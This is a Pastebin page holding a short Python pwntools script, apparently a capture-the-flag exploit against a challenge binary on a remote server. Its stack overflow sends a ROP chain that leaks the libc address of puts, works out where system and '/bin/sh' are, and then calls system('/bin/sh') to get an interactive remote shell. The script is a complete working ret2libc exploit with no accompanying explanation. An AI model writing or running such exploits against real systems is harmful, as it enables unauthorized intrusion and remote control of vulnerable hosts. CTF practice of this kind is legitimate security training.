Advertisement
Guest User

Untitled

a guest
May 22nd, 2019
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.16 KB | None | 0 0
  1. from pwn import *
  2. offset = 24
  3. libc = ELF("./libc.so.6")
  4. #r = process("./baby2")
  5. r = remote("baby-01.pwn.beer",10002)
  6. pop_rdi    = 0x0000000000400783
  7. printf_got = 0x000000601fd0
  8. puts_got   = 0x000000601fc8
  9. printf_plt = 0x0000000000400560
  10. puts_plt   = 0x0000000000400550
  11. main       = 0x0000000000400698
  12.  
  13. def un64(data):
  14.     return int(data[::-1].encode("hex"),16)
  15.  
  16.  
  17. p = "a" * offset
  18. p += p64(pop_rdi)
  19. p += p64(puts_got)
  20. p += p64(puts_plt)
  21. p += p64(main)
  22.  
  23. #r.recvuntil("input: ")
  24. #gdb.attach(r)
  25. r.sendlineafter("input: ",p)
  26. puts_leak = un64(r.recv(8).replace("\n",""))
  27. log.info("leaking libc puts@got : " + hex(puts_leak))
  28.  
  29. libc_base = puts_leak - libc.symbols['puts']
  30. system    = libc_base + libc.symbols['system']
  31. binsh     = libc_base + libc.search("/bin/sh").next()
  32.  
  33. #libc_base = puts_leak - 0x0809c0
  34. #system = libc_base - 0x31580
  35. #binsh  = libc_base + 0x1334da
  36.  
  37. p2 = "A" * 24
  38. p2 += p64(pop_rdi)
  39. p2 += p64(binsh)
  40. p2 += p64(system)
  41. p2 += "A"*8
  42.  
  43. log.info("binsh at : " + hex(binsh))
  44. log.info("system at : " + hex(system))
  45. log.info("libc_base at : " + hex(libc_base))
  46.  
  47. #r.recvuntil("input: ")
  48. r.sendlineafter("input: ",p2)
  49.  
  50. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement